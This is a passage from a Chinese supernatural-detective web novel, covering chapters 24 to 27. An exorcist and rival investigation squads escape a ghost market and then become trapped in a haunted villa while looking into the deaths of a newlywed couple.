男诡抬头,狠绝漠然地看着她:“可以这么说,李小姐对神物这么感兴趣,何不猜猜,我是用的什么重塑皮肉?”
“不猜。”李
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俟菩深邃的眼神如潭水,手心直直穿透他胸膛,就要取那状似铃铛的神物。
男诡一愣,随即混吝一笑,身体刹那若纸屑一般爆裂开来,强大的冲击让李俟菩立马回身抱头抵挡。
强烈的风无死角刮向她纤瘦的身体,侧脸一疼,留下丝丝血痕。
就当她睁眼要找个避难点时,所有攻击仿若凝固一般,屏障在她身前,她第一眼看到的是一对蹙起的眉心。
“抱歉,我来得有些迟,不过刚刚好。”
清冽音色响起,李俟菩整个人被应庐虚虚环抱着,黄纸屑划开他的后衣,寒冷不再。
周遭浓雾也随着这场狂风散去,余家老宅的门前不知何时燃起了煤油灯。
昏黄如残阳,李俟菩下意识抓住他的手腕。
“确实刚刚好,喂,李小姐,这你相好啊?”金蝉脱壳的男诡早已跳至屋顶,看了一场几秒的好戏。
出口就是动听话,不是不合时宜,应庐简直要给这诡颁个奖。
“对了,在下漆灯花,关于神物一事就麻烦李小姐帮忙转告一声,让931那群蠢货别再白费力气了,不如多花点时间去抓点所谓的恶诡,也好替我们铺个顺遂路。”
“有空我会来找你们来玩儿的。”
漆灯花恶劣一笑,看着远处奔来的牛头马面与告状的万顷波,“还有,你们的麻烦来了。”
说完便拍拍屁股就走,李俟菩要追,却听见牛头马面锁魂链碰撞的声音。
“不好,我们得赶紧走,不然准要去陆判官那里喝茶,免不了折腾。”应庐朝她喊道。
李俟菩说:“化剑。”
“啊?”应庐没明白她的意思。
李俟菩直接一掌劈向他,应庐如红烟蜕剑落至她手心。
她飞身踊跃,顺过一盏煤油灯,踏着砖瓦,如鸟一样轻盈。
牛头马面自然不是吃素的,即使身形高大,也是动如脱兔。
李俟菩四处观望,终于在路过的一间无人房屋里发现了堆着的废弃茅草,她用剑挑成一团,摔在牛头马面的必经之路。
她将手里的油灯朝那儿一扔,应庐顿时在李俟菩脑海里大声呐喊,吵得她头晕目眩。
火种一偏,准确无误地砸在一人的衣裙上。
“啊啊啊!谁啊,这么缺德,把油灯往人身上丢,我诅咒它八辈子穷光蛋,孤老终生!”
熟悉跳脚的声传入耳廓,飞在人屋顶上的李俟菩与暴跳如雷的覃诩水两眼一对。
所幸那破碎的煤油灯迅速燃起了火势,紧跟在后的阴官被这仗势弄得仓皇不定。
“快走!”一旁的陈箐舀起一瓢水就将她半身油混了个彻底。
身后崔判官的鬼使追得紧,李俟菩看了眼身后的牛头马面,飞下来拽着覃诩水就往火坑上跳。
“喂喂喂,你干嘛?!会死人的我去!”
覃诩水还在大呼小叫,她在中间,左手被李俟菩扯得抽筋,右手带着陈箐就要脱节,整个人跟个破袋子似的从火舌上飞了出去。
鬼使刹不住车,一个接一个的变成鬼肉烧烤。
牛头马面也差点被烧死,整个鬼市乱作一团。
三人成功通关鬼市,达成火燎地府成就,一生仅此一次。
……
24. 功德+24
“啊啊啊啊哎呦!”覃诩水眼前白花阵阵,身体也像个风筝一般摔在地上。
久违的阳光洒在她的手臂,她呼吸着竟有种劫后余生的感觉。
“啊呸!什么破草这么难吃!”陈箐则做了个漂亮的单膝滑铲,没让自己脸朝下却吃了口草。
正准备嘲笑覃诩水那没出息的样儿,转头就又被她塞了口枯瘦野草,“覃,诩,水!我要杀了你!”
陈箐当即就和覃诩水撕扯了起来,李俟菩转身看了一眼这个随机地点,好的,她不识路。
刚刚直接就从地府飞了出来,也不知这里是哪里,只看到脚下满是玫瑰花的花海,开得错落有致,鲜艳异常。
跟绸缎一样,弥漫着馥郁芬芳的香气。
玫瑰花骨朵娇艳欲滴,遥望过去,竟然看不到尽头,而她们脚底下踩着的这一小片,原本应该也是漂亮整齐的花,现在却是压坏的残花尸体。
李俟菩默默把脚挪至完好无损的那片花中,开口问道:“何种花?来得这般芳菲嫣然。”
覃诩水一把掀翻压在她身上抱拳出击的陈箐,举手大声喊道:“玫瑰!”
玫瑰?李俟菩下山多,却从没太注意过这些花花草草,不过长得还挺好看的,就是浑身带着刺,不好接近。
“那个,我听覃诩水说你是山上的高人,对这些凡俗事物不太了解,如果以后有什么不懂的,可以来问我。”
像是突然意识到还有李俟菩在这里,陈箐慌里慌张地整理了一下衣服,有些害羞地看着她。
晶莹剔透的晨珠被陈箐的衣带不小心牵下,落在草丛里荡起一圈小水洼。
经此一役,陈箐对李俟菩的态度越加奇怪了。
她礼貌地道了声谢,说:“这些也并不凡俗。”
这里空气清新,成丛的花朵有着更多的旖旎之思,红袖添香,叫人闻之欲醉,又怎么会是自家门派光秃秃的一个山能比的?
“该死的,你这个混蛋,别以为我不知道你又要挖墙脚!”覃诩水再次欺身上去,却被不远处一阵人力电流声打断。
李俟菩耳力惊人,一眼就锁定了满是蔓草的栅栏外的黑影。
那黑影倒是毫不避讳,是一个着装怪异的男人正望着她们小声地对着对讲机道:“报告,花圃中发现三个可疑人员。”
覃诩水动作一顿,背后压实的玫瑰花瓣都有些发烫起来,“完了完了,这该不会是哪个有钱人的私人后花园吧!”
陈箐瞟了一眼那男人,轻轻道:“身手不高,看起来像个保镖,你觉得这些玫瑰要我们赔多少钱?”
“不管多少钱我都赔不起!”
“穷死你得了!”
就在密谋之际,那男人又要对着那乌漆嘛黑的砖头说些什么,李俟菩一个闪身,顺手捞了那对讲机,挟持砖头利落地跑掉了。
“喂喂喂!”覃诩水暗骂这个冷漠女人的迅速,看男人还没反应过来,抓起陈箐就要逃,回身却差点撞上一巴掌。
凌厉的风从耳边呼啸而过,覃诩水脚尖轻点玫瑰花蕊,带落几瓣,借力旋腿朝那人影挥去!
中式盘发,一个黑簪,还有青绿旗袍,这背朝着她们的人影怎么有些熟悉?
覃诩水怔愣片刻,那人抓住她的脚踝,直直往下扯!
覃诩水又摔了个狗啃泥,陈箐已经被她晃得要口吐白沫了。
抬眼便是一个长相温温柔柔的女人,她见到覃诩水一愣,又看了看她手上的陈箐,“你们怎么在这儿?”
随后不等她们回答,回头看那快跑远但还听着这边动静的李俟菩。
“李小姐,请留步!”
李俟菩心下微哂,当真是哪哪儿的人都知道自己叫什么。
她落至栅栏之外,这个女人举手投足间一副斯文做派,李俟菩见是那两鹅的熟人,客气地等着她们来找她。
女人先一步来到她面前,后面的覃诩水总算也追了上来,气喘吁吁道:“哎呦我天,太累人了,你的脚是用飞火轮做的吗?”
陈箐落后,只是发丝凌乱了一些,对着李俟菩介绍了一下那个女人:“李小姐,这是我们三组的队长孟娩。”
三组队长,轻功不错,李俟菩颔首。
“你们怎么在这儿?”孟娩微微扫了一眼这三人问道。
只是稍显柔弱的身躯与覃诩水陈箐两人站在一起,怎么看都不像是一个队长,简直就像个孩子。
李俟菩仔细打量,哦,原来只有十几岁的骨龄。
看来这调查组里的人人才辈出啊。
“哦,我们路过。”陈箐硬着头皮说道。
虽说没有人规定说不能前往鬼市,但陈箐还是隐瞒了这件事情。
“路过把别人辛苦养的花踩得稀烂,我怎么不知道你还有这嗜好呢?”孟娩一脸正经地调侃。
小孩子训大人,长见识了。
“孟队,你们这是?”覃诩水看了一眼旁边围成的几队黑衣人马,“开谋杀大会啊?你们终于要攻上总部为我们讨个公道了?”
覃诩水越说越兴奋,陈箐一敲她发硬的额头,“又要搞陷害这一套是吧!刚刚把我搞得晕头转向的,要谋杀我直说啊!”
“我那是救你!你好心当成驴肝肺!”
覃诩水忍无可忍,无需再忍,又和陈箐叽喳吵起来。
孟娩倒是习惯了,和李俟菩说道:“我们这边有案子,不小心把你们当成犯罪嫌疑人,实在是不好意思,李小姐请见谅。”
“有案子?”陈箐脚还在覃诩水膝盖上,她问,“我怎么不知道?”
“你手机打不通,我当你睡了一天一夜,没叫你。”孟娩道。
“一天一夜?”覃诩水又和陈箐对了几招,忙里偷闲地出声,“已经这么久了?”
孟娩疑惑地看了一眼覃诩水与陈箐的脚尖,心下了然。
地府与阳间的时间流通是并无差别的,只是因为在鬼市看不到太阳,只会让人以为自己才进去了几个时辰,没想到会过了这么久。
覃诩水觉得这下才是真完蛋了,赵慵联系不到她们俩,一定急得要发疯。
手机铃声霎时响起,覃诩水如遭雷击,真是说曹操曹操到。
“……喂,赵队,早上好啊。”她哆嗦地接着电话,嘴唇发干。
孟娩面无表情,陈箐捂着嘴一脸看戏,生怕覃诩水一顿骂挨少了。
手机那边传来不温不喜的几句话,覃诩水简直要哭出声,“我……我跟着孟队查案子呢,阿菩也在这儿,不信你问她!”
矛盾转移被她玩得贼溜,覃诩水把手机放在李俟菩耳边,赵慵
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的话更清晰了。
李俟菩见这里这么多人,不好说话,只能给她搪塞了过去,覃诩水才放下心来。
“呀,我怎么不知道覃王牌还是我们三队的人呢,居然主动提出帮忙查案啊?那我们三队可真是蓬荜生辉呢。”
陈箐故意矫揉造作,逮到覃诩水就要给她挖坑。
覃诩水就要呛声,孟娩也道:“来了就打个下手,我想你们赵队应该不会那么小气的吧。”
覃诩水一脸不平地说:“你们就是想拉免费劳动力!我可不干,这有违规定!”
“怎么,这三组当真是一个人都凑不出来了?全都吃干饭的是吧!”
想让她当牛马,想都别想!
“是吗?那我可要和赵慵好好说道说道,一队与三队一向不合,你们把我的队员拉去鬼市溜了一圈,不知道的还以为是要找个地方抛尸灭口呢。”
孟娩人长得清纯,说话也不知是调笑还是认真,覃诩水指着她道:“好哇你,别人编排的你也信是吧,我前天还看见你和赵队出去下馆子了呢!不合才怪!”
陈箐抓住重点,孟娩知道她们去了鬼市,于是低下头东瞧一下,西瞧一下,就是没有插言。
“不用孟队说,我们也会告诉赵队的。”李俟菩自然站在覃诩水这边,意识到还要替别人工作,她恨不得长双翅膀,就想拉着覃诩水走。
打工人的心酸她也是体会到了。
“看来李小姐是在鬼市查到了什么线索,听说你们一组正在查有关神物的案子,我们这边虽然没有土中碧的具体线索,但有一人,李小姐或可感兴趣?”
“不感兴趣。”
“秦云此。”
李俟菩回绝,被孟娩的真话堵了个十成十,她回头看一眼那这山庄的牌匾。
清晨大雾朦胧地蒸腾而上,水汽把上好木头做的牌子染个湿润,只隐隐约约看到四个字。
——秦家山庄。
孟娩见李俟菩不语,继续陈述。
“今早接到报案,死者叫秦欠,前些日子刚娶亲,没过多久呢,山庄里便传出闹鬼的事儿,后来新娘居然无缘无故吊死家中,就在葬礼办完的当天,秦欠也死了。”
“更巧的是,两位死者是秦云此的亲哥哥与新嫂子。”
李俟菩截断她的话:“就算一组与三组私交甚好,案子也不会糊弄不清,最终还是竞争关系,孟队这么轻易地邀我们共查此案,最后的业绩该归谁?”
听说这里的业绩很重要,就如她门派内年终按业绩分发银钱一样重要,这个孟娩人小鬼大,到底什么意思?
“神物一事,非同小可,现在两个神物都处在榕城,上头昨天开了大会,成立专案组,隐蔽调查此事,现在榕城第九局的三个小组,都是专案组的一员。”
孟娩背手:“你说,我该不该把这条线索分享给你们?”
覃诩水和陈箐两个人显然没见过领导这么大阵仗,惊得一句话都没说。
难怪刚刚赵慵对她们跟着孟娩查案这个借口没有追问。
李俟菩看向覃诩水,见她好似很信任这三组,专案组估计也就是把三个组合并了查一个案子。
不过,这跟她有什么关系?她不干也有工资。
“我要拿两份钱。”李俟菩语出惊人。
25. 功德+25
“可以。”孟娩答应得很爽快,“如果李小姐愿意来我们组,我可以给三倍工资。”
李俟菩十分意外地挑了挑眉,这倒还真应了赵慵那句话,虽不知自己是什么时候成了个香饽饽,但这条件总是诱人的。
闻言,覃诩水立即跳出成立专案组的事儿,没料到这儿还有个拐人的,叫着就要向前侧身挡住两人的视线。
“不行不行!”她头摇成拨浪鼓,浑身的毛都变成刺,真是前有狼后有虎。
孟娩不动声色朝陈箐那边示意,陈箐就立马反手钳住了覃诩水的胳膊。
“别动哦。”陈箐恶魔一样压低了声线。
“不是,你们来真的?!”覃诩水折腾了好几下,撕心裂肺地喊道,“放开我!我要和我好姐姐在一起,呜呜阿菩你可千万不要着这两人的道啊!”
她一急,什么话都说出口。
陈箐直接往她嘴上贴了一圈胶布。
“不是,你哪来的胶……”覃诩水的嘴彻底被堵住,欲哭无泪。
“哦,这是我带来的,用来应急。”孟娩温和一笑。
于是孟娩与陈箐活像两个要把小情侣生离的反派。
“听闻李小姐在刚入一组后就屡建奇功,无论是案子推理或是有几年修为的老诡,李小姐都不在话下,自身武艺更是强到令人发指。”
“我们二组就缺你这样的逸群之才,一组的人才已经够多了,不如来我们这边坐坐?”
“一组虽好,但钱不多啊,我们组员可是你们一月的两倍。”
孟娩一番通情达理的话说得陈箐连连点头,李俟菩受其这离谱的夸赞面不改色,听到两倍工资才微微动容。
陈箐钳住覃诩水的力道并不很重,她看得出来这三组只是在玩笑,如果真是强制,她们根本不是她对手,她相信这点孟娩也知道。
“挖我人又拉踩我们的工资,是不是不太好啊。”秦家山庄的门外一个声音恰时响起。
孟娩偏头,无奈摊摊手,“怎么来得这么不是时候?再晚点李小姐就得是我的人了。”
薄雾下,门外站着几个刚刚赶来的人。
“那可不一定。”赵慵踩着芬芳的泥土走过来,在覃诩水眼里就是神仙下凡,来得好来得妙,来得呱呱叫。
与之同行的还有宁松帷和余愁山,至于另一个在赵慵身侧长得像个粉娃娃的女孩子,她没见过。
宁松帷直奔覃诩水那边,本以为组员情深,没想到她拉上余愁山就笑道:“这还是我们的覃人才吗?怎么过了一天嘴都被黏上了,这般惨状生平仅见,我得拿手机好好拍下来。”
不免一番嘲笑,覃诩水现在被嵌住,微垂的发丝有些被黏在嘴里,身形着实有点像被绑住几条腿的螃蟹。
余愁山也被这损人的姿势逗笑了,不过她笑得很淑女,直接把脸转过去,笑得肩一耸一耸。
覃诩水:……请问这对吗?
她很愤怒,很暴躁,她直接借背后陈箐的力双脚一踹宁松帷,然后放肆的宁松帷压着淑女的余愁山一起摔成了满身是泥的胖虾。
于是四人你一言我一语地闹成一团汤圆了。
一旁地赵慵将那位粉娃娃带到李俟菩面前,说道:“这位是二组的队长,叫云饭饭。”
李俟菩眨了眨眼睫,“云什么?”
粉娃娃比她矮一截,估计比孟娩还要小几岁,握住李俟菩的手荡啊荡。
“米饭的饭,我听赵队经常夸你,说得那叫一个令人神往,今天一见,没想到李姐姐这么好看啊。”
经常夸?李俟菩看了看赵慵,赵慵笑笑。
“你还是小孩子吧?”李俟菩不会说圆场,只好挑了个问题问她。
“差不多,破格录取,跟你一样。”云饭饭笑得甜美至极,嗓音糯糯的,通身气质格外特殊。
李俟菩听了也不免心生欢喜。
这么小就当上组长了,看来能力还是不能小觑。
再看看旁边赤壁之战的几人,总算都泄了气,覃诩水的头发黏在了胶布上,疼得直叫,陈箐倒是有些歉意地帮她都弄了下来。
“闹够了就过来,像什么样子?”赵慵还是年长些,一说话就都灰溜溜地过来了。
孟娩看几人都到齐了,有些凝重地开口道:“时间不早了,该走正题了。”
“我们是凌晨接的报案,死者的父母说,山庄两天之内连死两人,加上之前就有鬼神之说,才给我们打电话。”
气氛一下子就变了,薄雾也渐渐散开,乍现天光。
“赵队给我们的关于神物的案子我仔细看了一遍,我觉得去查何诏的人际关系,不如从秦云此身上找切入口。”
云饭饭则赞同了她的观点。
“何诏这种人,身世背景一定做了手脚,而且何诏是个诡物,秦云此也在一年前发动了那场鬼市起义,我觉得秦云此被当做祭品并不是凑巧。”
“很可能是一石二鸟。”
这就是孟娩叫她们来的原因,李俟菩从这对话弄清楚了信息。
她转头问赵慵:“酒店的神物镇守地在哪儿应该知道了吧?有什么发现?”
赵慵却摇头:“我还真希望是有发现,可是我们连土中碧从哪个具体地方出来的都还不知道。”
“没找到地方?”覃诩水奇道,“怎么可能?难道是何诏隐藏了具体出土地?”
“我们找了一整天,只知道酒店里面有残存的神物灵气,却根本找不到源处。”宁松帷也颇有些遗憾地开口。
温度开始升高了,对于线索缺失的众人,不免有些浮躁。
李俟菩睨了眼山庄旁那片血红的玫瑰花圃,“秦家人,很喜欢玫瑰?”
孟娩接住了她的话:“是的,听死者父母说,这是死者为新娘栽种的。”
“哎?那死者父母呢?”覃诩水问。
“惊吓过度,如今躺在医院里,还是缓了好久才告诉我们一些细枝末节。”孟娩指指那些黑衣保镖,“不知道是大户人家对我们不放心还是怎么,守在这里就是不肯走。”
覃诩水也看了一眼那门外守岗的那些人,“呵,嫌晦气啊,有本事别打电话啊。”
李俟菩疑惑地看她一眼,也不能说覃诩水这话有问题,在场的几人居然都没有反驳。
她摩挲指腹,难道这里的人还嫌弃捉诡师这一行业?
“里面的东西都没动过吧,不如我们先进去看看?”余愁山依旧提了个白箱子,看起来重量还不小。
“没有,这里一直封着呢。”孟娩领着她们来到正屋门外,不得不说,这山庄看着挺让人舒适的。
深红瓦块盖了整幢屋子,金灿阳光倾洒在屋檐边缘,山间的小鸟也驻足片刻鸣叫两声。
风一吹,就像清爽浸入骨子里一般沁人心脾。
孟娩推开门缝,风夹杂着腥气铺陈开来,味道不是很重,却感觉连屋外半边山的空气都污染了。
“都说是死了的新娘拉着秦欠做了亡命鸳鸯,你们觉得呢?”孟娩走在前头,屋里的陈设映入眼帘。
装修得很华丽又很古朴,温馨中带点隐秘,一股矛盾的感觉在所有人心里炸开。
覃诩水道:“秦云此无依无靠,我觉得,还不如叫秦云此还魂杀了无情的哥哥替
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自己的童年还债。”
她们之前也稍微查了一下,秦云此的身世是很富裕的,都算得上是千金大小姐。
后来才知道秦家惯是重男轻女,秦家少爷与秦家小姐过得日子可是天壤之别。
父母不做人,偏偏少爷侍宠生娇,经常打骂秦云此,有无人管教,秦云此成年后才搬出去住,过年也没回家过。
“话虽如此,秦云此却是已经死得透透了,就看是谁助了她一把。”赵慵眼观四处,看了看餐厅上的碗,“不是说正在办新娘的葬礼吗?怎么山庄连个白花都没有,还吃得这么好?”
餐厅里没来得及收拾的碗,就那么摆在那儿,剩余的餐食在炎热的天气里有些发馊,难以言说的气味散开。
“等下再去医院问问情况,总觉得这一家人有点奇怪。”孟娩也转悠到餐桌旁,又去看看厨房。
“尸体在哪儿?”余愁山问。
孟娩探出头来,“在二楼,新娘的棺椁也在二楼。”
余愁山抬头,屋里的窗帘被拉上,但客厅还是光线正好,二楼却一片漆黑,她要上楼梯的脚步一顿,在一旁的墙边发现了什么。
“这里有个抓痕,很深。”她轻轻道。
站在门边的李俟菩一直没动,直到听到余愁山的话,她才动弹,只是她刚走一步,那敞开的大门就砰地一声,死死地关上了。
众人被这动静吓得一怔,随后离得最近的李俟菩反手去扳门把手,门却像着了魔一样怎么也打不开。
“怎么回事?!”赵慵跑来,“门怎么突然关上了?”
紧接着所有人都过来了,李俟菩眉头紧皱,“中招了。”
“什么?!”陈箐直接推搡这坚固的大门,“意思是我们被两诡物暗算了?”
“双鬼之地本来就容易积累怨气,能凭空操纵物体也不奇怪,是我大意了。”
李俟菩一进门就感觉到不对劲,这里面的怨气熏得她眼泪都快要出来了。
她停留在门边一会儿,就是在斟酌,没想到最后还是被算计了。
“现在怎么办?”宁松帷掏出手机,没想到手机屏幕一直在闪频,怎么点都没动静,“遭了,没信号。”
其他人也都把手机掏出来,一样的信号失联。
宁松帷又将兜中的令牌法器一掏,令牌是上次李俟菩见到的那个传信之物,只是刚拿出来,沾上怨气,就立即从顶部开始被焚烧了。
“这?”宁松帷被火燎得连忙松开手,震惊地看着成灰的传信令牌。
李俟菩也掏出手里的符箓,但下场跟宁松帷的一样。
几人终于意识到危险的信号,不免都乱了阵脚。
李俟菩在心底叫了几声应庐,意料之中地无人回应,风过,她抬眼看那昏暗的二楼。
“怎么办?真出不去了?电话不能打,信号也发不出去。”覃诩水握着手机急得团团转。
云饭饭直接掀开那窗帘关得紧紧的玻璃窗,欲去叫那几个保镖。
帘子一拉开,窗外却没有阳光,没有花园,甚至是没有地球上的任何东西。
空无一物,仿若整间山庄置身无尽深渊中。
“普通诡物断不会有如此能耐,这次碰上千年硬茬儿了?”孟娩环绕四周,听着动静。
“饫甘餍肥,满腹之怨,就是修为再低的诡物逆如此之道也会有这般本事。”
李俟菩慢条斯理地说道,她扎着高马尾的青丝已垂及腰,怨气游戏在她的鬓发。
“一般只有女诡才会精通此法,因为女人天生便拥有神一样造人的能力。”
“新娘她吃了新郎。”
26. 功德+26
众人惊色溢于言表,这种倒行逆施之法她们从未听过,更别说李俟菩现在的表情阴得可怕,好似她才是那厉的恶鬼。
一时无人出声,最小的云饭饭从窗棂那边过来道:“这是什么方法?可增长怨气又女性独有,还不会被反噬,这与炼诡有何异?”
李俟菩没答,看了满脸慌张的赵慵一眼,转而道:“有火药吗?”
赵慵短暂停顿几秒:“啊?”
“我有——”宁松帷举着小手开口,回答问题般欣悦,“炸弹。”
宁松帷的脸十分具有迷惑性的,兔子般圆溜的眼睛眨巴一下,就要往那刚掏出来过令牌的小口袋里摸。
靠近大门的几人还没反应过来这小白兔说了什么。
贴着她的覃诩水却是寒毛倒竖,大惊失色地喊了一声,冲破天际。
随后恨不得离她八丈远,说道:“你带这玩意儿干什么?!还有你,你们真是一个敢说一个敢有啊,都离我远点儿,我还这么年轻不想死啊啊!”
这一连串的乱叫,除了李俟菩,一个一个的都像见着了比鬼还可怕的东西,最后退无可退的直接抱团取暖。
陈箐袋鼠一样抱着孟娩,全身戒备,牙齿都在打颤:“真刺激啊,跟着大佬就是不一样,赵队,你家组员真是王不见王,呵呵。”
说不清是嘲讽还是什么,反正陈箐是一脖子缩在还没她高的孟娩怀里,生怕那炸弹不小心把她们炸得粉碎。
李俟菩还向前一步,对宁松帷伸手,只见宁松帷开开心心地不顾别人死活将那东西拿了出来。
“这可是我新研发的,李小姐愿意相试我真是太高兴了。”
缩在对面阳台的覃诩水梗着脖子大声喊道:“试你个脑壳试试试,上次虽然没损失什么,但我们被总部全国通报了一圈,关了一个星期禁闭的事儿你是一点不提啊!”
说是炸弹,其实就是一个小玩意儿,一颗透明光珠。
而宁松帷呢,就是个器痴,在别的事情上她是十分理智的,但在这方面,不用说,理智这两个字怎么写她估计都不知道了。
“等等,放火烧山牢底坐穿,我知道姐姐你有分寸不会炸到我们的,但……”
宁松帷话虽这么说,却还是把那颗小型炸弹摊至手心。
明面上的意思,李俟菩听得懂,监狱嘛,她也有幸参观过人间的监狱,走大门进去逛了一圈,然后又走出来,总之很无聊。
李俟菩道:“放心,我能既炸了这山庄,又不会涉及这片山域。”
“你不涉及个鬼啊,知道宁松帷的法器威力有多大吗?要是真涉及了,我们就全玩完了!”覃诩水一手把赵慵推出去道,“老大你快管管她啊!”
赵慵被推得险些与李俟菩的背来个亲密接触,她承受着万众瞩目的希望来到李俟菩面前:“阿菩,我们可以再想想别的办法的,不要走极端啊。”
赵慵笑得十分勉强,手摇得残影都看不见了。
李俟菩摸不着头脑:“第一,我们人力是踹不开这扇大门的。第二,就算我们把门拆了,门外也是一片虚无,我们还是会被困死在这里。”
“你们要是还想出去,就不应该拦我。”
孟娩则和气道:“我们并非是要拦你,而是松帷的法器我们也栽过一次,万事还是都需要谨慎一点。”
刚刚李俟菩就知道这几个人绝对都毫无例外的上过当,不过最终是什么最坏的损失她也没兴趣知道。
谨慎一点当然是好的,但问题是这几个人根本没意识到事情的关键性。
“我说了,我有能力两全其美。”李俟菩冷漠道,“而且越再这里久待,就会越危险。”
看事态有些僵持,空气里的怨气也没有再增多,云饭饭打了个圆场。
“不妨李姐姐先告诉我们,这是一种什么邪法?又不似传统阵法,也不像幻境。”她接着刚刚的问题,执着于找个答案,“931迄今为止,还没有记录过这种东西。”
李俟菩将那颗玻璃小珠捏在手心,转头看着远在天边的几人:“非阵非幻,是一种很伤脑筋的诡物功法,如果要安安全全的走出去,不但要杀了其诡,更要杀了它的执念。”
“简单来说,和渡化没有什么太大差别,只是最后的结果不一样,一个是超度,一个彻底沦殁。”
“这种道术没有名字,我也是摸索出来的门道,也几乎没有人能走出去,除了我。”
李俟菩说这句话时气定神闲,她不知道这个世界的人,除了931外有没有人研究过这种邪功,就是以棺纸人为首盗取神物的那些人。
但单看这几个人,调查组内的那些估计是遇都没遇见过。
而陈箐秒变狂热粉丝,猫一样就向李俟菩那边轻轻走了几步,覃诩水飞了她一眼。
“那为何说这种只能女诡修炼呢?”云饭饭究问到底。
李俟菩一弹空气里那些肆意妄为想要钻空子的怨气,神色一敛。
“不知道你们有没有听说过南疆的一种双生卵蛊,新娘吃了新郎的怨魂,就好比母体吞了幼虫。”
“这样母虫不仅能重返成卵,还能毒力大增,多活好几年,直至又诞下幼虫,长此以往,成为千年毒蛊。”
“遇到危险时,会激起全部的毒气,保护自己,而新娘的怨气自然不会是新郎与自己的普通相加,而是翻倍的怨气。”
“之所以是母体呢,我刚刚也说过,只有女性才有神一样的能力,才有权力选择弃幼返春,或者生下幼子后就这么衰老下去,直至它的幼虫反将它吃掉。”
“不过后者大多不会被炼蛊之人挑中,双生卵蛊,实际只有一虫。”
“而母虫与幼虫得此真正存活,所谓一体双生,大概如此了。”
李俟菩不知道她们有没有理解这个逻辑,但在场的都是女人,不会理解不了这么简单的、从出生就开始背负的,独属于女人的责任与权力。
她曾经见过母虫不忍吃了幼虫,也见过幼虫将年迈的母虫圈养起来,但就是没有吃掉,最后双双死亡。
说到底,都是讲究一个良心。
赵慵却暗自喃喃道:“衰老过后,就是幼虫的背弃吗?”
“嗯?老大,你在说什么?”覃诩水没看出自家队长的出神,“都这么关键的时刻了,咱们有什么线索就别藏着掖着嘛。”
赵慵却没理她,呆愣了半晌。
孟娩扒拉下陈箐,走近道:“依照你这个说法,新郎和新娘没有血缘关系,更不可能是母子关系,又怎能用得此法?”
“按道理是这样的,但这种像是被夜包裹的感觉,一定是此等功法所致,错不了。”
其实李俟菩也没想明白,但实操的经验却不可能说谎。
她继续道:“在这里危机四伏,心性不稳的人很容
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易受其蛊惑,这也是危害所在,如今只有急于出去才是上上策。”
险境环生的四周全是黑色的虚无,一直看久了还有种要把你吸进去的莫名感。
这种感觉根植于原始人类怕黑而造火无法消除的恐惧。
呲呲——
刺耳抓心的挠墙声突然在屋子里回荡,所有人不由自主地倒吸一口冷气。
“死山,你干嘛!”覃诩水一眼瞥到声音来源,惊骇道。
一直没开口的余愁山用镊子刮了下那抓痕,她从她们说话起就一直在看这个痕迹。
此刻她用这一点微小的声音打断了她们的思路。
只听她缓缓道:“不如大胆假设一下,新郎是新娘同母异父的哥哥。”
余愁山说得轻松,却犹如惊天霹雳,一个雷电将众人雷了个半死。
“什么?!”覃诩水呆呆道,“是你没睡醒还是我没睡醒?这是能拿来猜的吗?”
孟娩闻言,一双翦水秋瞳也瞪得老大,赶忙道:“你这假设也要有依据吧,从何而来?”
李俟菩挠挠鼻尖:“如果真是这样那就说得通了,拥有血缘关系才是行此法术的唯一要义。”
余愁山压根没望她们这边瞟,专注地用镊子从痕缝里夹出一根几乎肉眼不可见的发丝来。
“前几天,我路过百兴超市时看到门外一对夫妻在争吵,听到了几个字眼,今早接到新郎新娘的照片我只觉得眼熟,仔细一想才发现就是当日的那对新婚夫妻。”
“况且,这两人的眉眼在一定程度上,高度相似。”
“夫妻相是远远做不到这个程度的,这两个人的骨面告诉我,他们来自同一个母体。”
此话一出,一些事情便有了些眉目,余愁山回头把那镊子上的发丝挑至检物袋,她站在最阴暗的角落,上头还有怨气乱飘。
“这,那这两个人知道吗?哦,不对,既然是吵架被你听到了那就一定是知道了。”覃诩水被这豪门八卦砸了个大包,她无措道。
“反正不管怎样都一起做了鬼,就是不知道新郎的怨种老爹晓不晓得喽。”陈箐倒是一脸见怪不怪的样子,对着余愁山说,“你倒是凑巧,正好去了百兴超市。”
余愁山手一顿,道:“确实是很巧。”
“说了这么多,你们有没有感觉到什么生理不适?”赵慵的眼神终于逐渐清明,“既然阿菩说有把握脱离困境,那我们先去楼上看看?”
覃诩水和陈箐摇头,目前状况还算良好。
李俟菩眉头微蹙,“什么意思?案子比命重要?”
“李姐姐,我们在入门前都是做过训练的,一般的心理干扰还奈何不了我们,所以不用担心。”云饭饭天使笑容灿烂地摆在脸上,委婉了一点说辞。
孟娩玩笑说:“李小姐本事大见识广,再这么关心我们,我可真就绑都要把你绑到我们组去了。”
赵慵走去李俟菩边上,轻扇挨紧她的诡气。
李俟菩对上那双总是充满着悲悯的眼睛,又不自觉想起上次赵慵和她说过的话。
她垂眸不语,罢了,这些人都是一样的心软之辈。
反正有她在,这几个人一个都少不了。
这时,二楼楼梯栏杆处猝然闪过一个人影。
脊梁从尾椎骨窜过一丝凉意。
她登时一凛,“有人等不及了,催我们上去呢。”
27. 功德+27
秦家是榕城最知名的商富,投资过好几项商业大楼,所以这座被用来充当婚房的山庄自然也不会节俭,楼上的布局也是相当奢华。
若不是没有阳光照进来,估计这地板光滑得都要闪瞎她们的眼睛。
整座山庄满是金钱的气味。
从大门边的楼梯走上去,一路延至到客房外的墙面上,全是西方知名画家的油画作品,一条走廊囊括无遗,数都数不过来。
跟收藏馆差不多,就是不知道这些是不是真迹。
李俟菩不懂画作,也看得出来,这些得花不少钱,还不如买几笼包子来得实在。
往深处走,几个大房间依次排列,两个主卧分至左边,三个次卧在右,房间基本都是一般大小,次卧也丝毫不比主卧差。
只是右尾房的门异常地关上了。
“哇!有钱人就是不一样哈。”覃诩水发出真实的感叹,喋喋不休,“就是这豪门的八卦通常都是炸裂型级别的存在,听得怀疑人生。”
刚刚从楼下往上看是一片漆黑,现如今走在二楼倒是视野开阔,但站在栏杆处向下瞟,却也是同样奇怪的黑灯瞎火。
就好似方才身处楼下的布局全都坠入深渊,下临无地。
“这是障眼法?”陈箐搭上白玉一样做的栏杆,毫不客气地摸摸,恨不得将整块玉搬走。
“易位的一些小法子,怨气多了是这样。”孟娩一敲她的手腕,“之前说了让你多看书,又说我啰嗦,真到了用的时候就不知道了吧。”
陈箐瘪瘪嘴,覃诩水在她耳后像模像样地学了一句,欠得很。
陈箐脸绷得死紧,狠狠往后踩了她脚尖,覃诩水疼得一边捂嘴一边单脚跳。
